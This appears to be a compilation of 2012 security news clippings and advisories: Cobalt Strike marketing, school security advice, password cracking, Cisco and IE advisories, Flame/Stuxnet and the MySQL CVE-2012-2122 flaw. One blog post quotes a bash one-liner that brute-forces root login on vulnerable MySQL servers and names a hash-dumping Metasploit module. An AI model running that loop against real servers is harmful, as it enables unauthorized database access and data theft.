Raphael Mudge Cobalt Strike

CobaltStrike Download Now Features Screenshots Training Support Cobalt Strike Media Kit Strategic Cyber, LLC loves bloggers and journalists. These materials are available for your use to tell the Cobalt Strike story to the world. If you have any questions or would like to schedule an interview, please contact us! Materials Cobalt Strike Trailer (3m46s) This video walks through a textbook penetration test with the Cobalt Strike product. Cobalt Strike Logo PSD (1716x408px) PNG (1716x408px) PNG (858x204px) Major Cobalt Strike (full-length) PSD (3248x3216px) PNG (3248x3216px) PNG (640x713px) Cobalt Strike Comic This comic shows the Cobalt Strike team executing an adaptive penetration testing process. PDF Cobalt Strike Product Specification Sheet This two-sided sheet describes Cobalt Strike, what it does, and who it is for. This document is best used to introduce Cobalt Strike to the grown-ups. PDF About Us Cobalt Strike Cobalt Strike is threat emulation software. Red teams and penetration testers use Cobalt Strike to demonstrate the risk of a breach and evaluate mature security programs. Cobalt Strike exploits network vulnerabilities, launches spear phishing campaigns, hosts web drive-by attacks, and generates malware infected files from a powerful graphical user interface that encourages collaboration and reports all activity. Strategic Cyber, LLC Founded by Raphael Mudge, Strategic Cyber LLC develops software and training for penetration testers and red teams. Its premier product is Cobalt Strike, a threat emulation suite. Raphael is a USAF veteran and the creator of Armitage for the Metasploit® Framework. Strategic Cyber LLC is based in Washington, DC. Metasploit® is a registered trademark of Rapid7 Inc. © 2012 Strategic Cyber, LLC

Countermeasures against school shootings

Countermeasures against School Shootings December 18, 20124 Comments Recent events and especially the tragedy at Sandy Hook Elementary School have prompted many of our school security clients to contact us asking for advise on preventing an attack or mitigating the consequences of a school shooting or massacre. In this blog post, we want to share with school administrators, security professionals, parents and community leaders ideas on how to minimize the potential of such an event at your school or in your community. Altering the adversary’s motivation is close to impossible – School shooter motivations vary from insanity to revenge and even political (terrorist) motives. The ability to detect, monitor and then influence these motivations is extremely difficult even for those closest to the would-be shooter (parents, teachers, counselors, etc). Our recommendation: do not rely on early detection of the shooter using indicators that stem from his psychological profile. Instead focus your mitigation strategy on maintaining a security policy that makes it difficult for the shooter to accomplish his operational objectives. This goal is possible and simple to execute but it does require effort and commitment. Active Shooter is a security issue and not a law enforcement Issue – Police response to an active shooter situation can take five to ten minutes or more. Most active shooter incidents are already over by the time police arrive at the scene, and even if the shooting is still in progress, most of the damage has already been done. Usually, all that remains for law enforcement is to gather evidence and collect the dead. Schools should focus on prevention strategies and not devote all their attention to a response plan. Adopt a long-term security strategy – Make a long-term commitment to security. This is usually easier said than done. Most institutions only spike efforts in response to an incident out of fear or the pressure to do something. This reactive approach is ineffective. Instead, make a long-term commitment to protect your school, and the people who study and work there, from future threats. This does mean spending money, making continuous efforts to improve, and getting buy-in from everyone involved from now, forward. Understand and address the Modus Operandi of the adversary – The choice of weapon and method of operation may change. The MO of choice today is active shooter, but tomorrow it could be an “active driver” trying to run over as many people on campus grounds as possible, with his vehicle. Your security procedures and policy must address not yet popular but probable MOs. Invest in Physical Security – This is obvious, but must be stated: a school that makes it easy for outsiders to enter is extremely vulnerable to threats. Physical security measures such as gates, locks and fences are not a deterrent for a motivated adversary, but they can serve as an obstacle or delaying mechanism that can potentially save lives. Extend your security circles outward as much as possible – Many institutions try to do security from the inside-in rather from the outside-out. This results in a smaller, less effectively secured area. Extend your physical security presence – think of a ring – as far out from your school as possible. As the distance between the adversary and the target (the school and its population) increases so do your chances to prevent the attack or mitigate its consequences. Introduce Proactive Security Procedures – Most school security procedures are administrative as opposed to proactive. For example, security guards may be required to check if a person’s name appears on a list but they are rarely tasked with evaluating the intent or behavior of a person attempting to enter the school. Security officers must be trained in threat and situational assessment and in security questioning. This training allows officers to determine the true nature of the visit and the true intent of the visitor. Have armed response capabilities – Having an armed security guard on premises does not mean you have “armed response capabilities”. Most armed guards are neither trained nor experienced with tactical response to an active shooter scenario. The armed security guards must be trained in: instinctive shooting, when-to-shoot scenarios, when to stop shooting or chasing, shooting through a face-forward crowd, hand-to-hand combat, aggressiveness training and more. The shooting technique for the guard must be based on an instinctive reaction where he does not need to think, only react and attack the shooter fully neutralizing him as soon as possible. He should not call for backups (someone else will.) He should not take cover (this allows the shooter to be in control.) He should not stop to treat or evacuate the wounded (someone else will.) The guard must know how to shoot while moving fast, forcing the adversary to defend himself. This type of shooting and response requires A LOT of training to the point where the guard’s response is completely instinctive. Test your Security System – A school that does not experience incidents should not regard itself as having good security. To evaluate whether or not the security system is effective, schools must test themselves through adversary simulations or “red teaming”. Every school must repeatedly conduct surprise infiltration testing to evaluate if current security procedures and systems are effective in preventing actual threats. The tests should be used to train and build experience with the security officers and the staff. They inform the design of and changes to, procedures and policy. Designate a “Police Room” in your facility – A cost effective means for maintaining police presence at your school is to provide local law enforcement with a spot where they can take a break from their patrols, drink a cup of coffee and have a quiet place to fill out their reports. Elevated, random police presence in the school makes it harder for the adversary to plan an attack and it increases the armed response capability of the school during certain hours of the day. The critics will say “well, this all costs money.” And that’s true. But there are innovative ways (beyond government funding) to pay for an improved security program. Active shooters are on the mind of every parent in the U.S. Most parents would not object to a modest, monthly ten dollar fee that could pay for implementing and maintaining all of the solutions we discuss here. During the suicide bombing campaigns in Israel between 2002 and 2005, restaurant customers were asked to pay a .50 cent fee on every table’s bill. This money was used to pay for security guards at restaurant entrances to prevent suicide bombers from entering. If someone is willing to pay .50 cents to have a peaceful dining experience, as a parent, I’m willing to bet that .50 cents a day is a very reasonable price for your child’s security. But more than the fiscal issues, we have to be committed in terms of priorities and decisiveness. When we are, we will effectively be able to prevent, deter, disrupt, and defend against these horrible killers. For more information about specific security procedures, training and consulting to improve your school’s security, please contact us. 4 Comments on “Countermeasures against School Shootings” TK on December 18th, 2012 at 7:04 pm Excellent article. Please send it to every school in the country. Linda Weese on December 19th, 2012 at 10:52 am Really great article with excellent suggestions. Am I allowed to share it with local schools? Thank you. Linda Weese Samuel Mayhugh on December 19th, 2012 at 10:55 am I agree with your material on countermeasures. These need to be promoted. What we do not generally have are policies, procedures, and training for student and worker reporting of behavior that creates fear or anticipation of violence. This calls for accountability and responsibility of both individuals and organizations for reporting concerns prior to a belief that the person will kill others. Sam Mayhugh, Ph.D., Consultant, DHS Admin on December 19th, 2012 at 11:02 am Linda Thank you very much for the feedback. Feel free to share it with anyone. The Chameleon Team Leave a Reply

VA OIG report on encryption non-compliance

http://www.va.gov/oig/pubs/VAOIG-12-01903-04.pdf

8-character passwords not long enough

Suzanne Choney, NBC News 8-character passwords just got a lot easier to crack A password expert has shown that passwords can be cracked by brute force four times faster than was previously thought possible. It's no magician's trick. Jeremi Gosney of the Stricture Consulting Group shared the findings at the recent Passwords^12 conference in Norway, where researchers do nothing but focus on passwords and PIN numbers. What Gosney showed is that a computer cluster using 25 AMD Radeon graphics cards let it make 350 billion — that's right, billion — password attempts per second when trying to crack password hashes made by the algorithm Microsoft uses in Windows. Ars Technica reported on the finding, estimating that it would take less than six hours for the system to guess every single possible eight-character password. Gosney, in an email to the site, said, "We can attack (password) hashes approximately four times faster than we could previously." Users should take action, especially those who have been using eight-character passwords and thinking they were safe (or safer than users with fewer characters in passwords), said Infosecurity, an online magazine. It doesn't even matter if you have numbers, upper case letters and symbols — you are not in the clear. Eight-character passwords "are no longer sufficient," the magazine says, and users should come up with longer passwords to "help defeat brute forcing, and complex passwords to help defeat dictionary attacks." Dictionary attacks use pretty common words, names and places that many of us still come up with for passwords, like "LoveNewYork" or even "Jesus" because they're easy to remember. They're also incredibly easy to crack. Dmitry Bestuzhev, of Kaspersky Lab, offers these suggestions: 1. Use a different password for each different online resource. Never reuse the same password for different services. If you do, all or many of your other online accounts can be compromised. 2. Use complex passwords. This means, in a perfect scenario, a combination of symbols, letters and special characters. The longer the better. 3. Sometimes our online service providers don’t let us create really complex passwords, but try to use long passwords, with at least 23 characters in a combination of uppercase and lowercase letters. A password of 23 characters (131 bits) would be ok. That may be an ambitious undertaking, especially with the abundance of services out there that all require authentication, but it's worth striving for. Eight characters "just isn't long enough for a password these days," Sophos Labs' Paul Ducklin told NBC News in an email. "Even before this latest 'improvement' in cracking, standalone GPU (graphics processing unit)-based servers could do the job on eight-character Windows passwords in under 24 hours." And, he added, "cybercrooks with a zombie network, of course, could easily do something similar, even without GPUs." Ducklin, writing about another password-cracking presentation at the password conference, made it clear that the findings are "yet another reminder that security is an arms race." But to stay ahead all you have to do is lengthen those passwords. At least for now.

Limits Set on E-mail Monitoring

Limits Set on E-mail Monitoring Administration Memo Seeks to Protect Whistleblowers' E-mails By Eric Chabrow, June 21, 2012. Credit Eligible The Obama administration issued a memorandum cautioning U.S. federal agencies that it could be unlawful to interfere with employees' communications, including e-mails, used to report misconduct in government. "We strongly urge executive departments and agencies to evaluate their monitoring policies and practices, and take measures to ensure that these policies and practices do not interfere with or chill employees from using appropriate channels to disclose wrongdoing," writes Carolyn Lerner, who heads the Office of Special Counsel, the federal organization charged with protecting government employees from reprisals for whistleblowing. Lerner sent the memorandum, dated June 20, to departmental and agency heads and legal counsels. Related Content Insider Threat: Emerging Risks Ron Ross on Revised Security Controls 6 Steps to Secure Big Data Using Risk to Fund Infosec Projects Graphical Look at Fed Infosec Performance Related Whitepapers Achieving FISMA Compliance: Continuous Monitoring Using Configuration Control and Log Management PCI Compliance Best Practices for Power Systems running IBM i Access Governance: Challenges and Solutions Security Solutions Guide Governing User Access: Why Provisioning-Centric Approaches Fall Short The genesis of the memorandum is an investigation by the Office of Special Counsel of the Food and Drug Administration monitoring employees who informed the special counsel, inspector general and The New York Times that the FDA had approved what the agency workers considered unsafe medical devices. According to the National Whistleblowers Center, whose lawyers represented the employees, the FDA used spyware to monitor secretly the whistleblowers' computers and other technology to gain access to their password-protected Gmail-to-Gmail communications to Congress, the Office of Special Counsel and other oversight authorities. Stephen Kohn, National Whistleblowers Center executive director, characterizes the administration's memo as a significant first step in protecting the constitutional rights of federal-employee whistleblowers. "This is the first time limits have been placed on the federal government's ability to monitor employee e-mails," Kohn says in a statement. "The targeted monitoring of whistleblowers in all government agencies ... has created a tremendous chilling effect on the willingness of federal employees to speak up about what they witness." Federal law prohibits agencies from taking actions against employees who inform the special counsel or inspector general of suspected wrongdoing in government. Lerner, in the memo, says agency monitoring designed specifically to target protected disclosure to the special counsel and IG is "highly problematic." "Such targeting undermines the ability of employees to make confidential disclosures," Lerner says, adding that this type of monitoring could be perceived as retaliation. The administration's memo strongly recommends that agencies review existing monitoring policies and practices to ensure that they are consistent with the law and Congress's intent to provide a secure channel for protected disclosures.

CISCO ASA vuln warning

MS-ISAC ADVISORY NUMBER: 2012-045 DATE(S) ISSUED: 06/21/2012 SUBJECT: Denial of Service Vulnerability in Cisco ASA Products OVERVIEW: A denial of service vulnerability has been discovered in Cisco Adaptive Security Appliance (ASA) 5500 series appliances and ASA modules for Catalyst 6500 series switches (ASASM). Cisco ASA products provide firewall, intrusion prevention, remote access, and other services. Successful exploitation could result in denial of service conditions or a reload on the affected device. SYSTEMS AFFECTED: Cisco ASA 5500 Series Appliances running software versions prior to 8.4 (4.1), 8.5 (1.11), and 8.6 (1.3) Cisco Catalyst 6500 series ASA Service Modules running software versions prior to 8.4 (4.1), 8.5 (1.11), and 8.6 (1.3) RISK: Government: Large and medium government entities: High Small government entities: High Businesses: Large and medium business entities: High Small business entities: High Home users: Low DESCRIPTION: Cisco ASA 5500 series appliances and Cisco Catalyst 6500 Series ASA Service Modules (ASASM) are prone to a remote Denial of Service vulnerability due to the improper handling of IPv6 traffic. This issue occurs when the devices are running in transparent mode with IPv6 enabled and have system logging configured to log message ID 110003 (enabled with logging severity level 6 or higher). These settings are not enabled by default. To exploit this vulnerability, an attacker creates a specially crafted IPv6 packet that will generate log message ID 110003 and sends it to the vulnerable device. When the packet is processed, the log message is created resulting in denial of service conditions or a potential reboot of the device. Information related to log message ID 110003 can be found at hxxp://www.cisco.com/en/US/docs/security/asa/asa80/system/message/logmsgs.html#wp4769354. RECOMMENDATIONS: We recommend the following actions be taken: Apply appropriate patches provided by Cisco after appropriate testing. To view a complete list of what software fixes to apply, please see hxxp://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20120620-asaIPv6 Consider disabled log message ID 110003 by issuing the "no logging message 110003 command". To view the instructions for this workaround please see hxxp://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20120620-asaIPv6 REFERENCES: Cisco: http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20120620-asaIPv6#@ID http://www.cisco.com/en/US/docs/security/asa/asa80/system/message/logmsgs.html#wp4769354 Security Focus: http://www.securityfocus.com/bid/54106 CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3058

Internet Explorer vuln advisory

The following cyber advisory was issued by the New York State Office of Cyber Security (OCS) and is intended for State government entities. The information may or may not be applicable to the general public and accordingly, the State does not warrant its use for any specific purposes. OCS ADVISORY NUMBER: 2012-044 DATE(S) ISSUED: 06/12/2012 SUBJECT: Cumulative Security Update for Internet Explorer (MS12-037) OVERVIEW: Multiple vulnerabilities have been discovered in Microsoft's web browser, Internet Explorer, which could allow an attacker to take complete control of an affected system. Successful exploitation of these vulnerabilities could result in an attacker gaining the same privileges as the logged on user. Depending on the privileges associated with the user, an attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. SYSTEMS AFFECTED: • Internet Explorer 6 • Internet Explorer 7 • Internet Explorer 8 • Internet Explorer 9 RISK: Government: • Large and medium government entities: High • Small government entities: High Businesses: • Large and medium business entities: High • Small business entities: High Home users: High DESCRIPTION: Thirteen vulnerabilities have been discovered in Microsoft Internet Explorer. Details of these vulnerabilities are as follows: Remote Code Execution Vulnerabilities: Nine remote code execution vulnerabilities have been discovered in Internet Explorer. These are memory corruption vulnerabilities that occur due to the way Internet Explorer accesses objects in memory that have not been properly deleted. These vulnerabilities may be exploited if a user visits a web page that is specifically crafted to take advantage of the vulnerabilities. Successful exploitation of any of these vulnerabilities could result in an attacker taking complete control of the system. Information Disclosure Vulnerabilities: Four information disclosure vulnerabilities have been discovered in Internet Explorer. These vulnerabilities could be exploited if an attacker convinces a user to visit a specially crafted website which would allow the attacker to access information in other domains or Internet Explorer Zones. RECOMMENDATIONS: We recommend the following actions be taken: • Apply appropriate patches provided by Microsoft to vulnerable systems immediately after appropriate testing. • Run all software as a non-privileged user (one without administrative privileges) to diminish the effects of a successful attack. • Remind users not to visit un-trusted websites or follow links provided by unknown or un-trusted sources. • Remind users not to open e-mail attachments from unknown users or suspicious e-mails from trusted sources. REFERENCES: Microsoft: http://technet.microsoft.com/en-us/security/bulletin/ms12-037 Security Focus: http://www.securityfocus.com/bid/53866 http://www.securityfocus.com/bid/53867 http://www.securityfocus.com/bid/53868 http://www.securityfocus.com/bid/53869 http://www.securityfocus.com/bid/53870 http://www.securityfocus.com/bid/53871 http://www.securityfocus.com/bid/53841 http://www.securityfocus.com/bid/53842 http://www.securityfocus.com/bid/53843 http://www.securityfocus.com/bid/53844 http://www.securityfocus.com/bid/53845 http://www.securityfocus.com/bid/53847 http://www.securityfocus.com/bid/53848 CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1523 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1858 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1872 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1873 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1874 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1875 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1876 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1877 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1878 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1879 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1880 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1881 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1882 Thomas D. Smith Director ________________________________________ Cyber Security • Cyber Security Home • Awareness/Training/Events • Incident Reporting • Breach Notification • Cyber Advisories • NYS Digital Forensics Work Group • Cyber Tips Newsletter • Keeping Kids Safe Online • Local Government • Policies and Resources • NY-ISAC Secure Portal GIS • GIS Home • GIS Data • Broadband Providers • NYS Broadband Map • Coordination Program • Orthoimagery • Outreach/Calendar • Street Address Mapping (SAM) • GIS Help Desk • • • privacy policy • accessibility • site map • foil • text

MySql Vulnerability

darkreading Expect A Surge In Breaches Following MySQL Vulnerability Vulnerability is so easily attacked and so prevalent that we're bound for a bump in database exposures By Ericka Chickowski, Contributing Writer Dark Reading, Darkreading Jun 13, 2012 | 10:10 PM URL - http://www.1stsecureit.com/news_detail.php?NewsArticleID=80 An unusual password vulnerability that makes hundreds of thousands of MySQL and MariaDB databases vulnerable to simple brute-force attacks is likely to soon start a ripple effect of increased data breach activity online, security experts predict. According to researchers, databases within host service provider and cloud infrastructures are the likeliest targets, but all administrators are advised to keep on the lookout for patches from their open source distribution and adhere to basic best practices to mitigate risk in the interim. [What weaknesses do bad guys look for in your databases? See How Attackers Find And Exploit Database Vulnerabilities.] Initially, the vulnerability was discovered over the weekend by a developer in the MariaDB community and who reported it as a quirky but trivial bug. Subsequently, though, research into the vulnerability was crowd-sourced to the security community at large via social media, which found the problem to be a lot bigger than initially thought. "This was one of the cases where it looked like a minor bug, but the folks didn't do enough coordination and they ended up leaving everyone out there kind of hanging in the wind," says HD Moore, chief security officer at Rapid7 and creator of Metasploit. "From their perspective, it didn't affect their shipping build, but it's all the other vendors who compile packages slightly differently who may be affected more than they realized." The vulnerability itself is in the way MySQL accepts passwords -- the bug makes it such that there's a one in 256 chance that the wrong password will still grant the user access to an account. So an endless loop of attempts will eventually grant an attacker access. It was a bug so unique that Moore says some MySQL developers ran into it, couldn't reproduce it ,and eventually chalked it up as a fluke. "I've never really seen a vulnerability like this where the thing just randomly doesn't verify your password and lets you in. I hadn't seen a vulnerability like that before," says Josh Shaul, CTO of Application Security, Inc. According to Moore, who happened to be doing research online across a number of IP spaces on the Internet already, he was able to use some existing data feeds to find that there are about 1.74 million vulnerable MySQL databases facing the Internet at the moment, half of which he found employed no kind of host-based access control to mitigate risk of an attack. That tallies to approximately 870,000 databases online and vulnerable to an attack that needs very little technical expertise to carry out. With such a large number of vulnerable systems and such an easy path to attack them, the community should expect a surge in breaches, he warns. "We're going to see a lot of exposure to this," Moore says. "I wouldn't be surprised if we see a whole lot of data breaches coming out because it is so easy to exploit. You don't have to be a hacker to do it, you can just type in one line and you're guaranteed to get into a vulnerable server. In fact, some security pundits have already thrown out wild theories that maybe we've already seen the surge start. "Crazy theory: Could this be related to the LinkedIn, last.fm, eHarmony and other recent breaches? Did any of them have MySQL exposed? Even worse, was this really a bug or a very clever backdoor?" wrote security blogger David Dede in the Sucuri Research Blog earlier this week. However, Shaul thinks that's not likely at all. "I think it's unlikely because I'd be shocked to see eHarmony and LinkedIn exposing their database to the public Internet so that people could exploit it from login," he says. "I think you're much more likely looking at significantly less sophisticated IT shops that are vulnerable to this." Nevertheless, this vulnerability still has the potential to affect databases hooked up to everything from ecommerce systems to online forums, Rapid7's Moore says. He says that even before patches are available, organizations can protect themselves with best practices. "The good thing is that it is best practice not to expose the database to the network in the first place. We do see a lot of them out there, but those are folks who are doing something wrong to start with," he says. "And folks who don't have host access control, that's another strike against them saying 'You aren't dong the even minimum level of security.'" However, there are cases where host access control isn't possible, which is why he believes host service providers and cloud providers are squarely in the crosshairs for this. "There are cases where service providers have got a huge arm of shared servers and they may expose a MySQL server to some customers or their IP ... such that they can't just firewall it off," he says. "Also, you see that with a lot of cloud providers, where they give you a dynamic IP address every time your server comes up so you can't use host access control a lot of times." This latest MySQL exposure is the second big security black eye for the database software in the past year. In September 2001, the MySQL.com website was breached and redirected to a website serving up malware controlled by the BlackHole crimeware kit. The site had been hit by a SQL injection attack in that instance. Have a comment on this story? Please click "Add Your Comment" below. If you'd like to contact Dark Reading's editors directly, send us a message. Copyright © 2007 CMP Media LLC

The Cloud

“In a new global survey of nearly 1,500 business and technology leaders conducted by Harvard Business Review Analytic Services, the majority — 85% — said their organizations will be using cloud tools moderately to extensively over the next three years. They cited the cloud’s ability to increase business speed and agility, lower costs, and enable new means of growth, innovation, and collaboration as the drivers for this fairly aggressive rate of adoption. A small group of early adopters (only 7% of respondents have been using cloud computing for more than five years) said cloud technology has already provided them with real business value and advantage, including faster time to market and speed to effectiveness, lower cost of operations, and the ability to acquire and integrate new operations more quickly and easily. These benefits are becoming more widely recognized; more than half of respondents (57%) believe that cloud will be a source of competitive advantage for early adopters, and 26% described their company’s posture toward cloud as enthusiastic. But for others, the speed of adoption is slower because executives say they have yet to gain a full understanding of the benefits and risks of cloud computing, and they have concerns about security, business continuity and compli­ance issues. Fifty-nine percent of respondents said they are using limited or no cloud services today, and 36% described their company’s posture toward cloud as either cautious or resistant.”

Proof Links Flame and Stuxnet

'Proof' Links Flame, Stuxnet Super Cyber Weapons: Researchers ABC NewsBy LEE FERRAN and KIRIT RADIA | ABC News – 6 hrs ago Email 20 Print Related Content 'Proof' Links Flame, Stuxnet Super Cyber Weapons: Researchers (ABC News) 'Proof' Links Flame, Stuxnet Super … Researchers say they have uncovered "proof" linking the authors of the Flame cyber espionage program to Stuxnet, the most powerful offensive cyber weapon ever developed -- both of which are believed to have targeted Iran. Analysts at the Russia-based cyber security firm Kaspersky Labs, which was the first to uncover Flame and had previously analyzed Stuxnet, wrote in a blog post today that they had found the "missing link" between Flame and Stuxnet: a specific piece of code that appears to have been used in both programs. Flame, a highly advanced "toolkit" of cyber espionage programs capable of watching virtually everything on an infected computer, was discovered last month on computers in the Middle East and Iran and had apparently been spying on those systems for years. Stuxnet, an offensive cyber weapon designed to physically alter its intended target, was discovered in 2010 after it reportedly infiltrated and managed to damage an Iranian nuclear enrichment facility -- an unprecedented feat. In both cases, cyber security experts that analyzed the programs' code determined that due to similarities in cost, time requirement and apparent target, it was likely they had each been developed under the direction of a nation-state, leading to speculation the U.S. or Israel may be involved. However, the same experts quickly noted that Flame's code architecture was vastly different from Stuxnet's and determined that while both could have come from the same nation-state, they were not likely written together. READ: Smoke Over Flame: Who Is Behind Super Cyber Spy Tool? But now Kaspersky Labs says the two cyber tools appear to have been developed in tandem and a section of code directly from Flame was used in an early 2009 version of Stuxnet, meaning that the two development teams overlapped in their work at least for a little while, even if they appear to have gone their separate ways in 2010 when newer versions of the programs appeared. "We believed that the two teams only had access to some common resources, [but] that didn't show any true collaboration," Kaspersky Labs senior researcher Roel Schouwenberg told ABC News. "However, now it turns out that the Stuxnet team initially used Flame to kickstart the project. That proves collaboration and takes the connection between the two teams to a whole new level." After Stuxnet's discovery, a Congressional report in December 2010 put the U.S. and Israel on a short list of countries believed to be capable of carrying out that attack -- a list that also included Russia, China, the U.K. and France. A month later, The New York Times reported Stuxnet may have been the result of a joint U.S., Israeli project to undermine Iran's nuclear program. Five different U.S. government agencies declined to comment to ABC News about allegations they were involved in Flame and the Israeli government has reportedly denied any link to the virus. News of the new connection between the two programs came just days after a U.S.-based cyber security firm, Symantec, reported Flame appears to have been given a "suicide" command that would wipe any trace of it from an infected computer.

Major Flaw in MySQL and MariaDB

Major Flaw in MySQL and MariaDB that bypasses the authentication and the guy who discovered it + Extras June 11, 2012 It’s all over the news and tweets now in the #Infosec World! A major security flaw in MySQL and MariaDB has been found by Sergei Golubchik (Date: Sat, 9 Jun 2012 17:30:38 +0200). In the oss-sec mailing list, he said that: All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are vulnerable. MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not. MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not. This issue got assigned an id CVE-2012-2122. Here’s the issue. When a user connects to MariaDB/MySQL, a token (SHA over a password and a random scramble string) is calculated and compared with the expected value. Because of incorrect casting, it might’ve happened that the token and the expected value were considered equal, even if the memcmp() returned a non-zero value. In this case MySQL/MariaDB would think that the password is correct, even while it is not. Because the protocol uses random strings, the probability of hitting this bug is about 1/256. Which means, if one knows a user name to connect (and “root” almost always exists), she can connect using *any* password by repeating connection attempts. ~300 attempts takes only a fraction of second, so basically account password protection is as good as nonexistent. Any client will do, there’s no need for a special libmysqlclient library. /* More info on seclists.org */ Thus, if an attacker guesses the correct username (example: “root”), he can easily connect to the mysql server by using a random password by repeating connection attempts. This issue got assigned an id CVE-2012-2122. But the good thing here is that it’s only applicable to versions 5.1.61, 5.2.11, 5.3.5, 5.5.22. The versions 5.1.62, 5.2.12, 5.3.6, 5.5.23 fro MariaDB and versions 5.1.63, 5.5.24, 5.6.6 are not vulnerable to his discovery. But who is Sergei Golubchik? Sergei Golubchik Well, for those of you who don’t know Sergei Golubchik then today is your lucky day (If you are reading this)! He is the MariaDB Security Coordinator, primary architect of the MySQL/MariaDB plugin API and the author of the “MySQL 5.1 Plugin Development” book. He has been modifying MySQL source code since 1998 and has continued doing it as a MySQL AB employee since 2000. Cool !!!! The Infosec World is proud of you Sir Sergei Golubchik. A few days later, HD Moore of Metasploit posted a report in their website (Jun 11, 2012 12:51:25 AM) about a one-liner in bash that will provide access to an affected MySQL server as the root user account, without actually knowing the password: $ for i in `seq 1 1000`; do mysql -u root –password=bad -h 127.0.0.1 2>/dev/null; done mysql> He also reported about the Linux distributions that were affected based on the reports of other users and researchers. Then, Jonathan Cran (CTO of Pwnie Express and Metasploit contributor) committed a threaded brute-force module that abuses the authentication bypass flaw to automatically dump the password database. The metasploit module for the said exploit is auxiliary/scanner/mysql/mysql_authbypass_hashdump: mysql_authbypass_hashdump So what are you waiting for? Check your mysql server version and use the module mysql_authbypass_hashdump to rape it. If it is vulnerable then update it! Check the references below to get some more information about this serious bug. :) Also, Joshua Drake provided a sample application which he called CVE-2012-2122 checker to determine if your system is vulnerable or affected. CVE-2012-2122 checker References: http://seclists.org/oss-sec/2012/q2/493 http://en.oreilly.com/mysql2011/public/schedule/speaker/639 http://www.net-security.org/secworld.php?id=13076 https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql Tags: #Infosec World, auxiliary/scanner/mysql/mysql_authbypass_hashdump, CVE-2012-2122, database pawning, HD Moore, Jonathan Cran, Joshua Drake, MariaDB, memcmp, Metasploit contributor, MySQL, mysql -u root --password, MySQL 5.1 Plugin Development, mysql_authbypass_hashdump, mysql_hashdump module, oss-sec mailing list, Pwnie Express, seclists.org, Sergei Golubchik | Categories: Blog Jay Turla Jay Turla is a Filipino security researcher, programming student, infosec enthusiast, open source advocate, and the blog manager of PenTest Laboratory. He is interested in Linux, OpenVMS, penetration testing and vulnerability assessment. He is one of the core team members of The ProjectX Blog and one of the bloggers and goons of ROOTCON (Philippine Hackers Conference).You can follow his tweets @shipcod3.

Backtrack 5r2-PTE1

Checking out BackTrack Linux 5r2-PenTesting Edition Lab! Posted by Shipcode at 10.6.12 What's a BackTrack Linux 5r2-PenTesting Edition Lab? What's with the edition thingy? Isn't BackTrack 5 a pentesting distro already? Why make a pentesting edition? Maybe these are some of the questions you have in your mind after reading the title and because of that, I would like to give some few points about this edition. BackTrack Linux 5r2-PenTesting Edition Lab is still the same BackTrack 5 r2 with the same pentesting tools pre-installed in the distribution and has KDE as its Desktop Environment although in backtrack-linux.org you can also choose if you want Gnome or KDE. The only difference is that it includes all of the hosts, network infrastructure, tools, and targets necessary to practice penetration testing for the CPLT or Certified PenTest Laboratory course which is brought to you by PenTest Laboratory and the guys behind PenTest Magazine. This edition is a modified version of NETinVM which has a predefined User-mode Linux (UML) based penetration testing targets. When started, this builds an entire network of machines within the VMware virtual machine. The BackTrack Linux distribution is used to provide the tools necessary for completing the lab scenarios. Thus, It is an an all-in-one penetration testing lab environment that pre-configured with: - A master (base) host utilizing BackTrack Linux 5r2 - A DMZ network with two hosts (targets) - An “internal” network with one host (target) - A pre-configured firewall This pentesting lab is available for free to non-CPLT course students which can be downloaded here. Here are some of targets you can attack or play with: - 10.5.0.1 - 10.5.0.254 - 10.5.1.10 - 10.5.1.254 About the Contributor: Shipcode is a prolific blogger of ROOTCON and at the same time an InfoSec enthusiast from Cebu. He was inspired to join ROOTCON as part of the core team to share his knowledge in information security. He encourages other like minded individuals to come forward and share their knowledge through blogging right here at ROOTCON Blog section. ROOTCON is managed by like minded InfoSec professionals across the Philippines. All rights reserved. Designated trademarks, brands and articles are the property of their respective owners. Labels: BackTrack 5, DMZ network, hosts, network infrastructure, PenTest Laboratory, pentesting edition, pre-configured firewall, tools, virtual penetration testing lab 0 comments: Post a Comment Newer Post Older Post Home Subscribe to: Post Comments (Atom) Twitter Updates Subscribe To Posts Comments Contributors Silver Hawk Paola Shipcode Semprix (The Fork Meister) ROOTCON Blog Archive ▼ 2012 (32) ▼ June (3) ROOTCON 6 SpeedTalks Checking out BackTrack Linux 5r2-PenTesting Editio... 8 Hacking and Information Security Magazines You M... ► May (5) ► April (10) ► March (7) ► February (3) ► January (4) ► 2011 (70) Cloud Tags #AntiSec (IN)SECURE 2600 accounts airsnare android 4.0 exploit announcements anonymity Anonymous anonymous surfing antisec AP attacks apache logs april 2012 articles asp auditor authentication bypass BackBox Linux backdoor shell backdoor shells BackTrack BackTrack 5 base64_decode bash scripting BashCrew Blackbuntu blackhat blackhat hacker blogger botnets bots Browser settings bypass firewalls Caesar Cipher carders career cbcp defaced CBCP Website Hacked cdo CEGNULUG change IP address CHmag cipher blocking mode citibank hacked clickjacking Clubhack clubhack magazine code gyan Command Execution command injection command-line conference conscience of a hacker cplt Crack WPA in 10 hours crackers credit card hacking credit_cards Cross cross frame scripting Cross Site Request Forgery cross site scripting cross-site scripting crypto geek cryptography CSRF 